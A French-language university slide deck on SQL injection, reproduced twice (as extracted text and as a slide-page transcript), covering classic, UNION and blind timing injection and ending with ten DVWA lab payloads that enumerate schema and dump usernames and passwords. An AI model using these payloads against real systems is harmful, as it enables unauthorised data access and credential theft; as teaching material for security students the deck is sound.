Attaque par injection SQL
1
Pr A. EL KSIMI
Plan
2
• SQL
• Injection SQL
• Injections SQL standards
• Injections SQL de requêtes UNION
• Injections SQL aveugles
SQL
3
• SQL signifie Structured Query Language
– Langage utilisé pour accéder / communiquer avec bases de
données
• Langages standards ANSI et ISO
• Les instructions SQL peuvent effectuer les tâches
suivantes sur une base de données (BD):
– Récupération des données
– Insertion de nouvelles données
– Modification (mise à jours) des données existantes.
– Suppression des enregistrements
• Plusieurs standards, plusieurs produits BD:
– Les mêmes principaux mots clés pour les requêtes (SELECT,
UPDATE, INSERT…etc.)
– Chaque BD peut avoir ses propres extensions propriétaires
SQL
Pub_Id Pub_name
1 Springer
2 IEEE
book_Id title price
1002012 SQL injection 100 $
1012012 Internet Security 110 $
• Une base de données relationnelle contient en général une ou
plusieurs tables (liées ou pas) et qui sont identifiables par leurs
noms.
• Chaque table contient des colonnes et des enregistrements.
• En général les enregistrement sont identifiables en se basant sur
une ou plusieurs colonnes spécifiques qui sont les clés (index) de
la table.
4
SQL
5
• SQL Data Definition Language (DDL)
– Permet de construire la base de données en créant ou supprimant des
tables, spécifier les index des tables, les liens et/ou contraintes entre
tables, etc.
– Exemple CREATE TABLE, ALTER TABLE, DROP TABLE.
• SQL Data Manipulation Language (DML)
– Manipuler les données dans la base de données
• Presque toutes les bases de données SQL se basent sur
le modèle relationnelle des données:
– SGBDR: Système de Gestion de Bases de Données Relationnelles
– Les métadonnées, qui sont les données sur la base de données,
doivent être stockeés dans la base de données elle-même avec les
données utilisateur
– Par conséquent, la structure de base de données peut aussi être lue et
modifié avec des requêtes SQL. => Critique
Vulnérabilité #1 Injection –Attaque -
Firewall
Hardened OS
Web Server
App Server
Firewall
Databases
tems
ices ies e
s
r
c
s v r
Sy Ser to R
y ec an
ac eb Dir m
eg W Hu
L
s
Billing
Custom Code
ON
APPLICATI
ATTACK
Network
Layer
Application
Layer
Accounts
tio e m
ac n g
s u m
m led o
an m C
r w -
T o o E
C Kn
ation
ns
n
Mgmt
erce
Bus.
Functions
HTTP
request

QL
ce tr icatio
an is S
Fin m
in
d que
A ry

DBT
able


HTTP
response


"SELECT * FROM accounts
WHERE acct=‘’ OR 1=1--’"
1.Application presents a form to
the attacker
2.Attacker sends an attack in the
form data
Account Summary
Acct:5424-6066-2134-4334
Acct:4128-7574-3921-0192
Acct:5424-9383-2039-4029
A
3. Application forwards attack to
the database in a SQL query
4. Database runs query
containing attack and sends
encrypted results back to
application
5.Application decrypts data
as normal and sends results
to the user
Account:
SKU:
cct:4128-0004-1234-0293
Account:
SKU:
6
Source: http://www.owasp.org/index.php/Top_10
Injection SQL
Injection SQL
7
• La capacité d'injecter des commandes
SQL dans le moteur de base de données
grâce à une application existante
• Causes des injections SQL :
– Une requête SQL générée en composant
« naïvement » les données reçues des
utilisateurs d’une application.
– Aucune vérification n’est effectuée sur les
données OU
– Vérification médiocre
8
• Les objectifs des injections SQL peuvent
être multiples:
– Accéder à des données auxquelles on ne
devrait pas avoir accès,
– Modifier des données,
– Effacer des données,
– Lire/écrire sur le système de fichier,
– Exécuter des commandes systèmes.
Injection SQL
• Préparation de l’attaque:
– Identifier des paramètres injectables
– Identifier le type et la version du SGBDR
– Déterminer le schéma de la base de données
(noms de table, noms de colonne, types de
données des colonnes…etc.)
9
Injection SQL
• Types d’injection SQL:
– Injections SQL classiques
– Injections SQL de requêtes d’union
– Injections SQL aveugles
10
Injection SQL
Injection SQL
11
• 1ère étape: Comprendre quand l’application se connecte à un
serveur de base de données.
• Exemples typiques de connexion à une BD:
o Formulaires d'authentification: il ya des chances que les informations
d'identification sont comparées à une BD qui contient tous les noms
d'utilisateur et mots de passe
o Moteurs de recherche: les chaînes présentées par l'utilisateur peuvent
être utilisées dans une requête SQL qui extrait tous les documents
pertinents à partir d'une BD
o Sites de commerce électronique: les produits et leurs caractéristiques
(prix, description, disponibilité, ...) sont très susceptibles d'être stockés
dans une BD
• 2ère étape: Préparer une liste de tous les champs de saisie dont
les valeurs pourraient être utilisées dans l'élaboration d'une
requête SQL.
• Stratégie gagnante: Tester chaque champ séparément
alors que les valeurs de toutes les autres variables doivent
rester constantes.
• Permet d’identifier avec précision les paramètres qui sont
vulnérables et ceux qui ne le sont pas.
• Essayer d’interférer avec la requête et provoquer la
génération d’erreurs.
12
Injection SQL
Comment détecter la présence de vulnérabilités?
• D’abord tester les injections classiques!
• Test de base:
• Ajout d'une apostrophe (') ou d’un point-virgule (;) aux champs sous test
o (') : utilisée comme une marque de fin de chaîne de caractères dans une
instruction SQL.
o (;) : utilisé pour marquer la fin d’une instruction SQL.
• En l’absence de filtres, ces caractères peuvent mener à l’exécution de
requêtes incorrectes et/ou générer des erreurs
Les hackers adorent les messages d’erreurs 
13
Injection SQL
Comment détecter la présence de vulnérabilités?
Messages d’erreurs « généreux »
Malheureusement, les applications web sont souvent
beaucoup moins bavardes 
« Heureusement », les techniques d’injection aveugle
existent
14
Injection SQL
Injections SQL standards
Requête SQL en arrière plan:
Une attaque possible:
Dans quelques systèmes, la 1ère ligne retournée par cette
requête correspond à un utilisateur administrateur!
15
Une requête SQL plus intelligente 
• Deux problèmes: les parenthèses et la fonction de hachage MD5!
• Solutions
o Les parenthèses: On s’arranger pour les respecter
o MD5: On s’arranger pour que SQL l’ignore tout simplement!
/* ou bien # ou bien --
Syntax SQLcommentaire
16
Injections SQL standards
Problème: Parfois, le code d'authentification vérifie que le
nombre d’enregistrements retournés est exactement égal à 1
Solution:
Mais comment avoir les autres enregistrements?
Injections SQL standards
17
Injections SQL de requêtes UNION
e
Peut-on avoir accès aux données d’une table autre que cell
visée par la requête?
Solution: Utiliser l’opérateur d’union « UNION »
18
1 ' and 2=3 UNION SELECT
(SELECT GROUP_CONCAT(column_name) FROM
information_schema.columns
WHERE table_name='users'),1 #
Injections SQL aveugle
19
Comment détecter que la page est vulnérable?
Une page web http://newspaper.com/items.php?id=2
Requête (possible) exécutée en arrière plan SELECT title, description, body FROM items WHERE ID = 2
Es-tu vulnérable BD? http://newspaper.com/items.php?id=2 and 1=2
Pas de réponse!
=> Potentiellement vulnérable
Es-tu vraiment vulnérable BD? http://newspaper.com/items.php?id=2 and 1=1
La même réponse que http://newspaper.com/items.php?id=2
=> Surement vulnérable
On a de la chance! On sait faire la différence entre une
réponse valide et une réponse non valide!
20
Soit la requête exécutée en arrière plan:
Approche: Changer le codeASCII jusqu’à l’obtention d’un
résultat => passer au caractère suivant
Injections SQL aveugle
Quelques fonctions utilisées:
• SUBSTRING (texte, debut, longueur): retourne une sous chaine de caractère
débutant a la position « debut» du texte et de longueur « longueur». Si « debut» est
supérieure à la longueur du texte, la fonction retourne la valeur nulle.
• ASCII (char): retourne le codeASCII du caractère en paramètre « char ». Si le
caractère est 0, la valeur null est retournée.
• LENGTH (text):donne la longueur en nombre de caractères de la chaine en
paramètre « text».
21
Injections SQL aveugle
Mais si la page web est vraiment opaque!!!
Timing attack : des fonctions qui consomment du temps!
Example: combiner:
• Injection de SELECT IF(expression, op1, op2)
• Si expression est évaluée à true alors op1 s’exécute
• BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')) exécute
5000000 fois la fonction ENCODE.
• En fonction de la performance du SGBDR et de sa charge, les
répétitions devrait influencer le temps de réponse du serveur
Injections SQL aveugle
22
Si la réponse du serveur à cette requête prend beaucoup de temps, l’attaquant
présumerait que le premier caractère du password pour user_id = 1 est
effectivement le caractère ‘2’.
Example d’utilisation:
1 UNION SELECT IF
(SUBSTRING(user_passord,1,1) = CHAR(50),
BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),
null)
FROM users WHERE user_id = 1;
Outils
SQLDumper: Outil automatique
23
Chamseddine Talhi, ÉTS
Test Injection SQL
24
http://127.0.0.1/dvwa/index.php admin, password
%%%%%%%%%%%%%%%%TEST1%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1+1 ou bien 1%2b1
%%%%%%%%%%%%%%%TEST2%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' or 1=1 #
%%%%%%%%%%%%%%TEST3%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and '1'='2' #
%%%%%%%%%%%%%%%TEST4%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and '1'='2' union select 1 #
1 ' and 1=2 union select 1,2 #
%%%%%%%%%%%%%%TEST5%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select database(),user() #
%%%%%%%%%%%%%%TEST6%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(column_name) from information_schema.columns where
table_schema=database()),1 #
%%%%%%TEST7%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(table_name) from information_schema.tables where table_schema!='mysql' and
table_schema !='information_schema'),1 #
%%%%%%TEST8%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(column_name) from information_schema.columns where table_name='users'),1 #
%%%%%%TEST9%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select password from users where first_name='admin'),1 #
%%%%%%TEST10 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(user_id,0x2c,first_name,0x2c,last_name,
0x2c,user,0x2c,password,0x2c,avatar,0x0a) from users),1 #
Références
25
• http://dev.mysql.com/doc/refman/5.6/en/sq
l-syntax.html
29

injection sql for cybersecurity studentsss.pptx

  • 1.
    Attaque par injectionSQL 1 Pr A. EL KSIMI
  • 2.
    Plan 2 • SQL • InjectionSQL • Injections SQL standards • Injections SQL de requêtes UNION • Injections SQL aveugles
  • 3.
    SQL 3 • SQL signifieStructured Query Language – Langage utilisé pour accéder / communiquer avec bases de données • Langages standards ANSI et ISO • Les instructions SQL peuvent effectuer les tâches suivantes sur une base de données (BD): – Récupération des données – Insertion de nouvelles données – Modification (mise à jours) des données existantes. – Suppression des enregistrements • Plusieurs standards, plusieurs produits BD: – Les mêmes principaux mots clés pour les requêtes (SELECT, UPDATE, INSERT…etc.) – Chaque BD peut avoir ses propres extensions propriétaires
  • 4.
    SQL Pub_Id Pub_name 1 Springer 2IEEE book_Id title price 1002012 SQL injection 100 $ 1012012 Internet Security 110 $ • Une base de données relationnelle contient en général une ou plusieurs tables (liées ou pas) et qui sont identifiables par leurs noms. • Chaque table contient des colonnes et des enregistrements. • En général les enregistrement sont identifiables en se basant sur une ou plusieurs colonnes spécifiques qui sont les clés (index) de la table. 4
  • 5.
    SQL 5 • SQL DataDefinition Language (DDL) – Permet de construire la base de données en créant ou supprimant des tables, spécifier les index des tables, les liens et/ou contraintes entre tables, etc. – Exemple CREATE TABLE, ALTER TABLE, DROP TABLE. • SQL Data Manipulation Language (DML) – Manipuler les données dans la base de données • Presque toutes les bases de données SQL se basent sur le modèle relationnelle des données: – SGBDR: Système de Gestion de Bases de Données Relationnelles – Les métadonnées, qui sont les données sur la base de données, doivent être stockeés dans la base de données elle-même avec les données utilisateur – Par conséquent, la structure de base de données peut aussi être lue et modifié avec des requêtes SQL. => Critique
  • 6.
    Vulnérabilité #1 Injection–Attaque - Firewall Hardened OS Web Server App Server Firewall Databases tems ices ies e s r c s v r Sy Ser to R y ec an ac eb Dir m eg W Hu L s Billing Custom Code ON APPLICATI ATTACK Network Layer Application Layer Accounts tio e m ac n g s u m m led o an m C r w - T o o E C Kn ation ns n Mgmt erce Bus. Functions HTTP request  QL ce tr icatio an is S Fin m in d que A ry  DBT able   HTTP response   "SELECT * FROM accounts WHERE acct=‘’ OR 1=1--’" 1.Application presents a form to the attacker 2.Attacker sends an attack in the form data Account Summary Acct:5424-6066-2134-4334 Acct:4128-7574-3921-0192 Acct:5424-9383-2039-4029 A 3. Application forwards attack to the database in a SQL query 4. Database runs query containing attack and sends encrypted results back to application 5.Application decrypts data as normal and sends results to the user Account: SKU: cct:4128-0004-1234-0293 Account: SKU: 6 Source: http://www.owasp.org/index.php/Top_10 Injection SQL
  • 7.
    Injection SQL 7 • Lacapacité d'injecter des commandes SQL dans le moteur de base de données grâce à une application existante • Causes des injections SQL : – Une requête SQL générée en composant « naïvement » les données reçues des utilisateurs d’une application. – Aucune vérification n’est effectuée sur les données OU – Vérification médiocre
  • 8.
    8 • Les objectifsdes injections SQL peuvent être multiples: – Accéder à des données auxquelles on ne devrait pas avoir accès, – Modifier des données, – Effacer des données, – Lire/écrire sur le système de fichier, – Exécuter des commandes systèmes. Injection SQL
  • 9.
    • Préparation del’attaque: – Identifier des paramètres injectables – Identifier le type et la version du SGBDR – Déterminer le schéma de la base de données (noms de table, noms de colonne, types de données des colonnes…etc.) 9 Injection SQL
  • 10.
    • Types d’injectionSQL: – Injections SQL classiques – Injections SQL de requêtes d’union – Injections SQL aveugles 10 Injection SQL
  • 11.
    Injection SQL 11 • 1èreétape: Comprendre quand l’application se connecte à un serveur de base de données. • Exemples typiques de connexion à une BD: o Formulaires d'authentification: il ya des chances que les informations d'identification sont comparées à une BD qui contient tous les noms d'utilisateur et mots de passe o Moteurs de recherche: les chaînes présentées par l'utilisateur peuvent être utilisées dans une requête SQL qui extrait tous les documents pertinents à partir d'une BD o Sites de commerce électronique: les produits et leurs caractéristiques (prix, description, disponibilité, ...) sont très susceptibles d'être stockés dans une BD
  • 12.
    • 2ère étape:Préparer une liste de tous les champs de saisie dont les valeurs pourraient être utilisées dans l'élaboration d'une requête SQL. • Stratégie gagnante: Tester chaque champ séparément alors que les valeurs de toutes les autres variables doivent rester constantes. • Permet d’identifier avec précision les paramètres qui sont vulnérables et ceux qui ne le sont pas. • Essayer d’interférer avec la requête et provoquer la génération d’erreurs. 12 Injection SQL
  • 13.
    Comment détecter laprésence de vulnérabilités? • D’abord tester les injections classiques! • Test de base: • Ajout d'une apostrophe (') ou d’un point-virgule (;) aux champs sous test o (') : utilisée comme une marque de fin de chaîne de caractères dans une instruction SQL. o (;) : utilisé pour marquer la fin d’une instruction SQL. • En l’absence de filtres, ces caractères peuvent mener à l’exécution de requêtes incorrectes et/ou générer des erreurs Les hackers adorent les messages d’erreurs  13 Injection SQL
  • 14.
    Comment détecter laprésence de vulnérabilités? Messages d’erreurs « généreux » Malheureusement, les applications web sont souvent beaucoup moins bavardes  « Heureusement », les techniques d’injection aveugle existent 14 Injection SQL
  • 15.
    Injections SQL standards RequêteSQL en arrière plan: Une attaque possible: Dans quelques systèmes, la 1ère ligne retournée par cette requête correspond à un utilisateur administrateur! 15
  • 16.
    Une requête SQLplus intelligente  • Deux problèmes: les parenthèses et la fonction de hachage MD5! • Solutions o Les parenthèses: On s’arranger pour les respecter o MD5: On s’arranger pour que SQL l’ignore tout simplement! /* ou bien # ou bien -- Syntax SQLcommentaire 16 Injections SQL standards
  • 17.
    Problème: Parfois, lecode d'authentification vérifie que le nombre d’enregistrements retournés est exactement égal à 1 Solution: Mais comment avoir les autres enregistrements? Injections SQL standards 17
  • 18.
    Injections SQL derequêtes UNION e Peut-on avoir accès aux données d’une table autre que cell visée par la requête? Solution: Utiliser l’opérateur d’union « UNION » 18 1 ' and 2=3 UNION SELECT (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'),1 #
  • 19.
    Injections SQL aveugle 19 Commentdétecter que la page est vulnérable? Une page web http://newspaper.com/items.php?id=2 Requête (possible) exécutée en arrière plan SELECT title, description, body FROM items WHERE ID = 2 Es-tu vulnérable BD? http://newspaper.com/items.php?id=2 and 1=2 Pas de réponse! => Potentiellement vulnérable Es-tu vraiment vulnérable BD? http://newspaper.com/items.php?id=2 and 1=1 La même réponse que http://newspaper.com/items.php?id=2 => Surement vulnérable On a de la chance! On sait faire la différence entre une réponse valide et une réponse non valide!
  • 20.
    20 Soit la requêteexécutée en arrière plan: Approche: Changer le codeASCII jusqu’à l’obtention d’un résultat => passer au caractère suivant Injections SQL aveugle
  • 21.
    Quelques fonctions utilisées: •SUBSTRING (texte, debut, longueur): retourne une sous chaine de caractère débutant a la position « debut» du texte et de longueur « longueur». Si « debut» est supérieure à la longueur du texte, la fonction retourne la valeur nulle. • ASCII (char): retourne le codeASCII du caractère en paramètre « char ». Si le caractère est 0, la valeur null est retournée. • LENGTH (text):donne la longueur en nombre de caractères de la chaine en paramètre « text». 21 Injections SQL aveugle
  • 22.
    Mais si lapage web est vraiment opaque!!! Timing attack : des fonctions qui consomment du temps! Example: combiner: • Injection de SELECT IF(expression, op1, op2) • Si expression est évaluée à true alors op1 s’exécute • BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')) exécute 5000000 fois la fonction ENCODE. • En fonction de la performance du SGBDR et de sa charge, les répétitions devrait influencer le temps de réponse du serveur Injections SQL aveugle 22 Si la réponse du serveur à cette requête prend beaucoup de temps, l’attaquant présumerait que le premier caractère du password pour user_id = 1 est effectivement le caractère ‘2’. Example d’utilisation: 1 UNION SELECT IF (SUBSTRING(user_passord,1,1) = CHAR(50), BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')), null) FROM users WHERE user_id = 1;
  • 23.
  • 24.
    Test Injection SQL 24 http://127.0.0.1/dvwa/index.phpadmin, password %%%%%%%%%%%%%%%%TEST1%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1+1 ou bien 1%2b1 %%%%%%%%%%%%%%%TEST2%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1 ' or 1=1 # %%%%%%%%%%%%%%TEST3%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1 ' and '1'='2' # %%%%%%%%%%%%%%%TEST4%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1 ' and '1'='2' union select 1 # 1 ' and 1=2 union select 1,2 # %%%%%%%%%%%%%%TEST5%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1 ' and 2=3 union select database(),user() # %%%%%%%%%%%%%%TEST6%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1 ' and 2=3 union select (select group_concat(column_name) from information_schema.columns where table_schema=database()),1 # %%%%%%TEST7%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1 ' and 2=3 union select (select group_concat(table_name) from information_schema.tables where table_schema!='mysql' and table_schema !='information_schema'),1 # %%%%%%TEST8%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1 ' and 2=3 union select (select group_concat(column_name) from information_schema.columns where table_name='users'),1 # %%%%%%TEST9%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1 ' and 2=3 union select (select password from users where first_name='admin'),1 # %%%%%%TEST10 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1 ' and 2=3 union select (select group_concat(user_id,0x2c,first_name,0x2c,last_name, 0x2c,user,0x2c,password,0x2c,avatar,0x0a) from users),1 #
  • 25.
  • 26.